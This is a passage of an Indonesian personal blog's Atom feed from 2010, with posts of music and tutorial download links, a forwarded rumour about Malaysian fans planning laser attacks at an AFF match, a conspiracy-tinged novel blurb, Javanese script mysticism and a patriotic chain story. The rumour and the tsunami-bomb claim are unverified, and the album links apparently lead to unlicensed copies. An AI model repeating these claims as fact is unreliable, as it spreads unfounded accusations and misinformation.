width='72'/></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-1316116996336540912</id><published>2010-12-30T02:25:00.000+07:00</published><updated>2010-12-30T02:25:01.842+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='download mp3'/><title type='text'>ebiet g ade -in love- full album</title><content type='html'>&lt;span class="fullpost"&gt;  download ebiet g ade full album     &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/pfwRtZaY/Ebiet_G_Ade_-_In_Love.html" target=_blank&gt;Ebiet G Ade - In Love.rar&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-1316116996336540912?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1316116996336540912'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1316116996336540912'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/12/ebiet-g-ade-in-love-full-album.html' title='ebiet g ade -in love- full album'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-2754448779595571614</id><published>2010-12-30T01:52:00.002+07:00</published><updated>2010-12-30T01:52:27.443+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='download mp3'/><title type='text'>lagu AREMA</title><content type='html'>&lt;span class="fullpost"&gt;    download lagu bumi arema   &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/audio/KLAPtVUZ/Bhumi_Arema_-_DKross_-_Cambuk_.html" target=_blank&gt;Bhumi Arema - D&amp;#39;Kross - Cambuk Malaikat.mp3&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-2754448779595571614?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/2754448779595571614'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/2754448779595571614'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/12/lagu-arema.html' title='lagu AREMA'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-7572365267055146406</id><published>2010-12-30T01:28:00.001+07:00</published><updated>2010-12-30T01:47:00.242+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='download freeware'/><title type='text'>w3school</title><content type='html'>&lt;span class="fullpost"&gt;download tutorial w3school&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=" http://www.mediafire.com/?3m14yd1yzgy" target=_blank&gt;disini&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-7572365267055146406?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/7572365267055146406'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/7572365267055146406'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/12/w3school.html' title='w3school'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-1015024732562985846</id><published>2010-12-29T05:26:00.000+07:00</published><updated>2010-12-29T05:26:37.213+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='News'/><title type='text'>issue beredar tentang AFF di GBK 29 des nanti</title><content type='html'>ini berita bener apa kagak..saya cuma kasih Info aja.....&lt;br /&gt;&lt;br /&gt;Malaysia akan menyelundup&lt;br /&gt;supporternya di GBK, menyaru&lt;br /&gt;menjadi suporter Timnas Indonesia&lt;br /&gt;untuk menyerang laser ke timnya&lt;br /&gt;sendiri, tujuannya agar&lt;br /&gt;.........pertandingan dihentikan dan Malaysia menang WO. Jadi TANGKAP PENGGUNA&lt;br /&gt;LASER Di GBK&lt;br /&gt;Nanti!!! Ini tidak gampang dicegah, satu&lt;br /&gt;kelompok punyusup bisa berisi 20&lt;br /&gt;orang atau lebih berkaus Timnas&lt;br /&gt;Indonesia yg saling melindungi operasi mereka, pakai laser,&lt;br /&gt;petasan besar, yg penting bagi mereka&lt;br /&gt;pertandingan berhenti&lt;br /&gt;dikarenakan: "akibat suporter&lt;br /&gt;Indonesia" Intinya adalah memprovokasi&lt;br /&gt;suporter Indonesia yg memang mudah panas untuk ikut&lt;br /&gt;menggerogoti perjuangan Timnas&lt;br /&gt;kita sendiri, yg ujung2nya malah&lt;br /&gt;bikin kita kalah secara memalukan&lt;br /&gt;melalui penghentian oleh panitia&lt;br /&gt;akibat kerusuhan ataupun insiden akibat perilaku suporter Indonesia. Jadi&lt;br /&gt;mari kita bantu petugas&lt;br /&gt;keamanan nanti tanggal 29 untuk&lt;br /&gt;menjaga perjuangan Timnas kita&lt;br /&gt;agar tidak digerogoti suporter&lt;br /&gt;Timnas palsu.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sumber : kaskus&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-1015024732562985846?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1015024732562985846'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1015024732562985846'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/12/issue-beredar-tentang-aff-di-gbk-29-des.html' title='issue beredar tentang AFF di GBK 29 des nanti'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-446350173044192802</id><published>2010-12-14T03:02:00.001+07:00</published><updated>2010-12-14T03:03:44.302+07:00</updated><title type='text'>buku bencana jawa 2011</title><content type='html'>&lt;span class="fullpost"&gt;Novel action dengan tema terorisme konspirasi internasional yang akan&amp;nbsp; menghancurkan pulau jawa di tahun 2011 dengan bom nuklir yang jauh lebih&amp;nbsp; dahsyat dari bom hiroshima. Bagaimana honggo kim, seorang wni pekerja&amp;nbsp; profesional di australia bisa terlibat?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pusat ekonomi 60% ada di pulau Jawa, 60% konsentrasi penduduk RI ada di pulau Jawa. Setelah pulau Jawa hancur, maka pulau-pulau lain menjadi lebih berkembang dan lebih mandiri dalam mengelola sumber daya alamnya. Kehancuran pulau Jawa beserta penduduk penghuninya, dimanfaatkan oleh beberapa &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Buku ini bukan sekedar novel fiksi biasa, tetapi merupakan novel ramalan yang diperkaya dengan data riset tentang geologi, ekonomi, politik, dan teknologi masa depan. Ramalan tentang masa depan pulau Jawa yang akan hancur akibat konspirasi intelijen international dan bom termonuklir. Bom termonuklir yang pernah diduga menjadi sebab gempa dan tsunami Aceh 2004.&lt;br /&gt;&lt;br /&gt;Kali ini, bom termonuklir diciptakan dengan kekuatan yang jauh lebih dashyat. Hancurkah Pulau Jawa sebagaimana seperti ramalan Jayabaya 500 tahun lalu? Bagaimana Honggo Kim, seorang pekerja Indonesia di luar negeri bisa terlibat dalam konspirasi ini?&lt;br /&gt;&lt;br /&gt;Dikisahkan dengan memukau, novel berbalut action, terorisme, thriller, suspense, misteri, dan konspirasi ini, sekaligus memberi pengetahuan baru bagi para pembacanya.       &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-446350173044192802?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/446350173044192802'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/446350173044192802'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/12/buku-bencana-jawa-2011.html' title='buku bencana jawa 2011'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-5907555410392781487</id><published>2010-12-14T01:53:00.000+07:00</published><updated>2010-12-14T01:53:50.274+07:00</updated><title type='text'>lensa buram</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_lcn1O_24jBE/TQZrrFxb8lI/AAAAAAAAASI/bxMYuYL1syM/s1600/slamet3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://1.bp.blogspot.com/_lcn1O_24jBE/TQZrrFxb8lI/AAAAAAAAASI/bxMYuYL1syM/s320/slamet3.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="fullpost"&gt;       &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-5907555410392781487?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/5907555410392781487'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/5907555410392781487'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/12/lensa-buram.html' title='lensa buram'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_lcn1O_24jBE/TQZrrFxb8lI/AAAAAAAAASI/bxMYuYL1syM/s72-c/slamet3.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-7058150053395498174</id><published>2010-11-30T13:45:00.000+07:00</published><updated>2010-11-30T13:45:58.038+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='catatan'/><title type='text'>belajar menjadi JAWA dari huruf</title><content type='html'>&lt;span class="fullpost"&gt;    ada yang menghidupi atau yang memberi hidup, hidup itu adalah sendirian dalam arti abadi atau langgeng tidak terkena kematian dalam menghadapi segala keadaan. Hidup tersebut terdiri atas 4 unsur yaitu:&lt;br /&gt;&lt;br /&gt;a. api&lt;br /&gt;b. angin&lt;br /&gt;c. bumi&lt;br /&gt;d. air&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Huruf Na, berari "nur" atau cahaya, yakni cahaya dari Tuhan YME dan terletak pada sifat manusia.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. Huruf Ca, berarti "cahaya", artinya cahaya di sini memang sama dengan cahaya yang telah disebutkan di atas. Yakni salah satu sifat Tuhan yang ada pada manusia. Kita telah mengetahui pula akan sifat Tuhan dan sifat-sifat tersebut ada pada yang dilimpahkan Tuhan kepada manusia karena memang Tuhan pun menghendaki agar manusia itu memunyai sifat baik.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. Huruf Ra, berarti "roh", yaitu roh Tuhan yang ada pada diri manusia.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5. Huruf Ka, berarti "berkumpul", yakni berkumpulnya Tuhan YME yang terletak pada sifat manusia.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6. Huruf Da, berarti "zat", ialah zatnya Tuhan YME yang terletak pada sifat manusia.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;7. Huruf Ta, berarti "tes" atau tetes, yaitu tetes Tuhan YME yang berada pada manusia.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;8. Huruf Sa, berarti "satu", menunjukkan bahwa Tuhan YME yaitu satu, tidak ada yang dapat menyamai-Nya.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;9. Huruf Wa, berarti "wujud" atau bentuk, bahwa wujud Tuhan itu ada dalam manusia yang setelah bertapa kurang lebih 9 bulan dalam gua garba ibu, lalu dilahirkan dalam wujud diri.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;10. Huruf La, berarti "langgeng" atau abadi, menunjukkan bahwa hanya Tuhan YME sendirian yang langgeng di dunia ini, berarti abadi pula untuk selama-lamanya.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;11. Huruf Pa, berarti "papan" atau tempat, yaitu papan Tuhan YME-lah yang memenuhi alam jagad raya ini, jagad besar juga jagad kecil (manusia).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;12. Huruf Dha, berarti "dhawuh", yaitu perintah-perintah Tuhan YME inilah yang terletak dalam diri dan besarnya Adam, manusia yang utama.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;13. Huruf Ja, berarti "jasad" atau badan. Jasad Tuhan YME itu terletak pada sifat manusia yang utama.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;14. Huruf Ya, berarti "dawuh". Dawuh di sini mempunyai lain arti dengan dhawuh di atas, karena dawuh berarti selalu menyaksikan kehendak manusia baik yang berbuat jelek mau pun yang bertindak baik yang selalu menggunakan kata-katanya “Ya”.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;15. Huruf Nya, berarti "pasrah" atau menyerahkan, jelasnya Tuhan YME dengan ikhlas menyerahkan semua yang telah tersedia di dunia ini.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;16. Huruf Ma, berarti "marga" atau jalan. Tuhan YME telah memberikan jalan kepada manusia yang berbuat jelek dan baik.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;17. Huruf Ga, berarti "gaib", gaib dari Tuhan YME inilah yang terletak pada sifat manusia.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;18. Huruf Ba, berarti "babar", yaitu kabarnya manusia dari gaibnya Tuhan YME.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;19. Huruf Tha, berarti "thukul" atau tumbuh. Tumbuh atau adanya gaib adalah dari kehendak Tuhna YME. Dapat pula dikatakan gaib adalah jalan jauh tanpa batas, dekat tetapi tidak dapat disentuh, seperti halnya cahaya terang tetapi tidak dapat diraba atau pun disentuh, dan harus diakui bahwa besarnya gaib itu adalah seperti debu atau terpandang. Demikianlah gaibnya Tuhan YME itu (micro binubut).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;20. Huruf Nga, berarti "ngalam", yang bersinar terang, atau terang/gaib Tuhan YME yang mengadakan sinar terang.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Demikianlah huruf Jawa yang 20 itu, dan ternyata dapat digunakan sebagai lambang dan dapat diartikan sesuai dengan sifat Tuhan sendiri, karena memang seperti yang telah diuraikan sebelumnya bahwa Jawa yang menggunakan huruf Jawa itupun merupakan sabda dari Tuhan YME.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Penyatuan Huruf atau Aksara Jawa 20 dan Maknanya&lt;br /&gt;&lt;br /&gt;1. Huruf Ha + Nga&lt;br /&gt;&lt;br /&gt;Hanga berarti "angan-angan". Dimaksudkan dengan angan-angan ini ialah panca indra yaitu lima indra, seperti:&lt;br /&gt;&lt;br /&gt;1. Angan-angan yang terletak di ubun-ubun (kepala) yang menyimpan otak untuk memikir akan keseluruhan keadaan.&lt;br /&gt;&lt;br /&gt;2. Angan-angan mata yang digunakan untuk melihat segala keadaan.&lt;br /&gt;&lt;br /&gt;3. Angan-angan telinga yang dipakai untuk mendengar keseluruhan keadaan.&lt;br /&gt;&lt;br /&gt;4. Angan-angan hidung untuk mencium/membau seluruh keadaan.&lt;br /&gt;&lt;br /&gt;5. Angan-angan mulut yang digunakan untuk merasakan dan mengunyah makanan.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Huruf Na + Ta&lt;br /&gt;&lt;br /&gt;Noto, berarti "nutuk".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. Huruf Ca + Ba&lt;br /&gt;&lt;br /&gt;Caba, berarti coblong (lobang). Kata tersebut di atas berarti wadah atau tempat yang dimilki oleh lelaki atau wanita saat menjalin rasa menjadi satu; adanya perkataan kun berarti pernyataan yang dikeluarkan oleh pria dan wanita dalam bentuk kata ya dan ayo dan kedua kata tersebut mempunyai persamaan arti dan kehendak ,yaitu mau.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. Huruf Ra + Ga&lt;br /&gt;&lt;br /&gt;Raga, berarti "badan awak/diri". Kata raga atau ragangan merupakan juga kerangka dan kehendak pria dan wanita ketika menjalin rasa menjadi satu karena bersama-sama menghendaki untuk menciptakan raga atau diri agar supaya dapat terlaksana untuk mendapatkan anak.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5. Huruf Ka + Ma&lt;br /&gt;&lt;br /&gt;Kama, berarti "komo" atau biji, bibit, benih. Setiap manusia baik laki-laki atau wanita pastilah mengandung benih untuk kelangsungan hidup; oleh karena itu di dalam kata raga seperti terurai di atas merupakan kehendak pria dan wanita untuk menjalin rasa menjadi satu. Karena itulah maka kata raga telah menunjukkan adanya kedua benih yang akan disatukan dengan melewati raga, dan dengan penyatuan kama dari kedua belah pihak itu maka kelangsungan hidup akan dapat tercapai.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6. Huruf Da + Nya&lt;br /&gt;&lt;br /&gt;Danya atau donya, berarti dunia. Persatuan kedua benih atau kama tadi mengakibatkan kelahiran, dan kelahiran ini merupakan calon keturunan di dunia atau (alam) donya; dengan demikian dapat dipahami kalau atas kehendak Tuhan YME maka diturunkanlah ke alam dunia ini benih-benih manusia dari Kahyangan dengan melewati penyatuan rasa kedua jenis manusia.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;7. Huruf Ta + Ya&lt;br /&gt;&lt;br /&gt;Taya atau toya, yaitu "ari" atau "banyu." Kelahiran manusia (jabang bayi) diawali dengan keluarnya air (kawah), pun kelahiran bayi tersebut juga dijemput dengan air (untuk membersihkan, memandikan dsb); karena itulah air tersebut berumur lebih tua dari dirinya sendiri disebut juga mutmainah atau sukma yang sedang mengembara dan memunyai watak suci dan adil.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;8. Huruf Sa + Ja&lt;br /&gt;&lt;br /&gt;Saja atau siji atau satu. Pada umumnya kelahiran manusia (bayi) itu hanya satu, andaikata jadi kelahiran kembar maka itulah kehendak Tuhan YME. Dan kelahiran satu tersebut menunjukkan adanya kata saja atau siji atau satu.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;9. Huruf Wa + Da&lt;br /&gt;&lt;br /&gt;Wada atau wadah atau tempat. Berbicara tentang wadah atau tempat, sudah seharusnya membicarakan tentang isi pula, karena kedua hal tersebut tidak dapat dipisah-pisahkan. Dengan demikian timbul pertanyaan mengenai wadah dan isi, siapakah yang ada terlebih dahulu. Pada umumnya dikatakan kalau wadah harus diadakan terlebih dahulu, baru kemudian isi, sebenarnya hal ini adalah kurang benar. Yang diciptakan terlebih dahulu adalah isi, dan karena isi tersebut membutuhkan tempat penyimpanan, maka diciptakan pula wadahnya. Jangan sampai menimbulkan kalimat “Wadah mencari isi” melainkan haruslah “Isi mencari wadah” karena memang "isi" diciptakan terlebih dahulu. Sebagai contoh dapat diambilkan di sini: rumah, sebab rumah merupakan wadah manusia, dan manusia merupakan isi dari rumah. Jadi jelaslah bahwa sebenarnya isilah yang mencari wadah.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sebagai bukti dari uraian di atas, dapatlah dijelaskan bahwa: kematian manusia berarti (raga) ditinggalkan isi (hidup). Bagai pendapat yang mengatakan “wadah terlebih dahulu diciptakan” maka mengenai kematian itu seharusnya wadah mengatakan supaya isi jangan meniggalkan terlebih dahulu sebelum wadah mendahului meninggalkan. Hal ini jelas tidak mungkin terjadi, apalagi kalau kematian itu terjadi dalam umur muda di mana kesenangan dan kepuasan hidup tersebut belum dialaminya.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Demikianlah persoalan wadah ini dengan dunia, karena sebelum dunia ini diciptakan (sebagai wadah) maka yang telah ada adalah (isinya) Tuhan YME. Pendapat lain mengatakan kalau sebelum diadakan jalinan rasa maka keadaan masih kosong (awang-awung). Tetapi setelah jalinan rasa dilaksanakan oleh pria dan wanita maka meneteslah benih dan apabila benih tadi mendapatkan wadahnya akan terjadi kelahiran. Sebaliknya ,kalau wadah tersebut belum ada maka kelahiran pun tidak akan terjadi, yang berarti masih suwung atau kosong. Meski pun begitu, “hidup" itu tetap telah ada demikian pula “isi’" dan di manakah letak isi tadi ialah pada ayah dan ibu. Maka selama ayah dan ibu masih ada maka hidup masih dapat membenihkan biji atau bibit.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;10. Huruf La + Pa&lt;br /&gt;&lt;br /&gt;Lapa atau mati atau lampus. Semua keadaan yang hidup selalu dapat bergerak, keadaan hidup tesebut kalau ditinggal oleh hidup maka disebut dengan mati. Sebenarnya pemikiran demikian itu tidak benar, akan tetapi kesalahan tadi telah "dibenarkan" sehingga menjadi salah kaprah. Sebab yang dikatakan mati tadi sebenarnya bukanlah kematian sebenarnya, akan tetapi hidup hanyalah meninggalkannya, yaitu untuk mengembalikan semua ke asalnya, hidup kembali kepada yang menciptakan hidup, karena hidup berasal dari suwung sudah tentu kembali ke suwung atau kosong (awang-awung) lagi. Akan tetapi, sebenarnya dapatlah dikatakan bahwa suwung itu tetap ada sedangkan raga manusia yang berasal pula dari tanah akan kembali ke tanah (kuburan) pula&lt;br /&gt;&lt;br /&gt;ini link thread ane yang di lounge&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-7058150053395498174?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/7058150053395498174'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/7058150053395498174'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/belajar-menjadi-jawa-dari-huruf.html' title='belajar menjadi JAWA dari huruf'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-8998007237620992889</id><published>2010-11-30T12:08:00.000+07:00</published><updated>2010-11-30T12:08:15.060+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='catatan'/><title type='text'>indonesia di mata singapura</title><content type='html'>Mungkin cerita ini sudah banyak beredar di internet dan tidak ada yang  tahu siapa yang menulis cerita ini. Ceritanya memang benar-benar luar  biasa, membuat kita semakin bangga jadi orang Indonesia !&lt;br /&gt;&lt;br /&gt;Begini ceritanya, seorang backpacker dan seorang pengusaha dari Singapore.&lt;br /&gt;&lt;br /&gt;...Suatu pagi di Bandar Lampung, kami menjemput seseorang di bandara.  Orang itu sudah tua, kisaran 60 tahun. Sebut saja si bapak.&lt;br /&gt;&lt;br /&gt;Si bapak adalah pengusaha asal singapura, dengan logat bicara gaya  melayu, english, (atau singlish) beliau menceritakan pengalaman2  hidupnya kepada kami yang masih muda. Mulai dari pengalaman bisnis,  spiritual, keluarga, bahkan percintaan hehehe..&lt;br /&gt;&lt;br /&gt;“Your country is so rich!”&lt;br /&gt;&lt;br /&gt;Ah biasa banget kan denger kata2 begitu. Tapi tunggu dulu..&lt;br /&gt;&lt;br /&gt;“Indonesia doesn’t need the world, but the world needs Indonesia”&lt;br /&gt;&lt;br /&gt;“Everything can be found here in Indonesia, u don’t need the world”&lt;br /&gt;&lt;br /&gt;“Mudah saja, Indonesia paru2 dunia. Tebang saja hutan di Kalimantan, dunia pasti kiamat. Dunia yang butuh Indonesia!”&lt;br /&gt;&lt;br /&gt;“Singapore is nothing, we cant be rich without Indonesia . 500.000 orang  Indonesia berlibur ke Singapura setiap bulan. Bisa terbayang uang yang  masuk ke kami, apartemen2 dan condo terbaru kami yang membeli pun orang2  indonesia, ga peduli harga yang selangit, laku keras. Lihatlah rumah  sakit kami, orang Indonesia semua yang berobat.”&lt;br /&gt;&lt;br /&gt;“Kalian tahu bagaimana kalapnya pemerintah kami ketika asap hutan  Indonesia masuk? Ya, benar2 panik. sangat terasa, we are nothing.”&lt;br /&gt;&lt;br /&gt;“Kalian ga tau kan klo Agustus kemarin dunia krisis beras. Termasuk di  Singapura dan Malaysia, kalian di Indonesia dengan mudah dapat beras”&lt;br /&gt;&lt;br /&gt;“Lihatlah negara kalian, air bersih dimana2.. lihatlah negara kami, air  bersih pun kami beli dari malaysia. Saya pernah ke Kalimantan, bahkan  pasir pun mengandung permata. Terlihat glitter kalo ada matahari  bersinar. Petani disana menjual Rp3000/kg ke sebuah pabrik China. Dan si  pabrik menjualnya kembali seharga Rp 30.000/kg. Saya melihatnya  sendiri”&lt;br /&gt;&lt;br /&gt;“Kalian sadar tidak klo negara2 lain selalu takut meng-embargo  Indonesia?! Ya, karena negara kalian memiliki segalanya. Mereka takut  kalau kalian menjadi mandiri, makanya tidak di embargo. Harusnya  KALIANLAH YANG MENG-EMBARGO DIRI KALIAN SENDIRI. Belilah dari petani2  kalian sendiri, belilah tekstil garmen dari pabrik2 sendiri. Tak perlu  kalian impor klo bisa produksi sendiri.”&lt;br /&gt;&lt;br /&gt;“Jika kalian bisa mandiri, bisa MENG-EMBARGO DIRI SENDIRI, Indonesia will rules the world..”&lt;br /&gt;&lt;br /&gt;Bangga Jadi Orang Indonesia!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-8998007237620992889?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/8998007237620992889'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/8998007237620992889'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/indonesia-di-mata-singapura.html' title='indonesia di mata singapura'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-1169174029307395439</id><published>2010-11-28T18:21:00.002+07:00</published><updated>2010-11-28T18:21:22.985+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='x file'/><title type='text'>manusia terbang</title><content type='html'>Sepanjang sejarah, manusia sangat tertarik dengan terbang. Salah satu  contohnya adalah mitos Yunani kuno tentang Icarus dan Daedalus melarikan  diri dari labirin yang berada dipulau Crete dengan tangan bersayap.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bahkan dalam dunia modern dimana orang biasa terbang menggunakan jet dan  kapal luar angkasa, kita tak pernah menghilangkan mimpi kita untuk  dapat terbang. Kemampuan terbang seorang manusia tidak terbatas hanya di  mitologi saja. Hal itu terjadi dalam kehidupan manusia sejak jaman dulu  kala, walaupun hanya berbentuk dongeng atau legenda yang kita dengar  secara turun 